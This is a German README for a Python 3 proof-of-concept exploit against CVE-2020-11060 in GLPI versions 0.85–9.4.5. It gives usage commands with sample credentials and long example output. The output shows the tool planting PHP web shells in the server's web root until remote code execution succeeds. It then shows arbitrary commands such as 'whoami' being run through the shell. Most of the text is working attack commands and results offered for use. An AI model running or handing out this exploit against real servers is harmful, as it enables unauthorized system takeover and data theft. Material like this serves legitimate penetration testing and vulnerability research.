
Python3 POC für CVE 2020-11060
Dieses Skript ist ein auf Python 3.x basierender Exploit für CVE-2020-11060 in GLPI-Versionen 0.85-9.4.5.
Ursprüngliche Implementierung: 0xdreadnaught
Python3-Refactoring: n3rada
Der ursprüngliche PoC in ExploitDB ist inzwischen veraltet, da er Python 2.x verwendete. Die neue Version wurde eingereicht, und ein Link wird hier hinzugefügt, sobald er akzeptiert wird. Die ursprüngliche Sicherheitsforschung, die zur Erstellung dieser PoCs verwendet wurde, wurde von AlmondOffSec durchgeführt und ist hier zu finden.
python3 CVE-2020-11060.py --url 'http://<target URL>' --user <'user'> --password <'password'> --platform <win/nix> --offset <#>
python3 CVE-2020-11060.py --url 'http://glpi.vul.ne' --user 'glpi_adm' --password 'Amvfd6565/432' --platform 'win' --offset 312
[+] GLPI Browser targeting 'http://glpi.vul.ne' ('windows') with following credentials: 'glpi_adm':'Amvfd6565/432'.
[+] Target is up and responding.
[+] User 'glpi_adm' is logged in.
------------------------- trial number 1 -------------------------
[*] Wiping networks...
Deleting network id: 2413
[+] Network created
[+] Modifying network
New ESSID: RCEe
[+] Current shellname: bQznfdTr.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\bQznfdTr.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/bQznfdTr.php
[+] Shell size: 265
------------------------- trial number 2 -------------------------
[*] Wiping networks...
Deleting network id: 2414
[+] Network created
[+] Modifying network
New ESSID: RCEee
[+] Current shellname: HdqrmKtR.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\HdqrmKtR.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/HdqrmKtR.php
[+] Shell size: 13882
------------------------- trial number 3 -------------------------
[*] Wiping networks...
Deleting network id: 2415
[+] Network created
[+] Modifying network
New ESSID: RCEeee
[+] Current shellname: dwmfIJgN.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\dwmfIJgN.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/dwmfIJgN.php
[+] Shell size: 13885
------------------------- trial number 4 -------------------------
[*] Wiping networks...
Deleting network id: 2416
[+] Network created
[+] Modifying network
New ESSID: RCEeeee
[+] Current shellname: KmGsYHBw.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\KmGsYHBw.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/KmGsYHBw.php
[+] Shell size: 8369
------------------------------------------------------------------
[+] RCE found after 4 trials!
[+] You can execute command remotely as: nt authority\network service@WIN03
[+] Run this tool again with the desired command to inject:
python3 CVE-2020-11060.py --url 'http://glpi.vul.ne/sound/KmGsYHBw.php' --command 'desired_command_here'
Danach können Sie einen Befehl frei ausführen, z.B.:
python3 CVE-2020-11060.py --url 'http://glpi.vul.ne/sound/KmGsYHBw.php' --command 'whoami'
Und es wird zurückgegeben:
[*] Response received from 'http://glpi.vul.ne/sound/KmGsYHBw.php':
nt authority\network service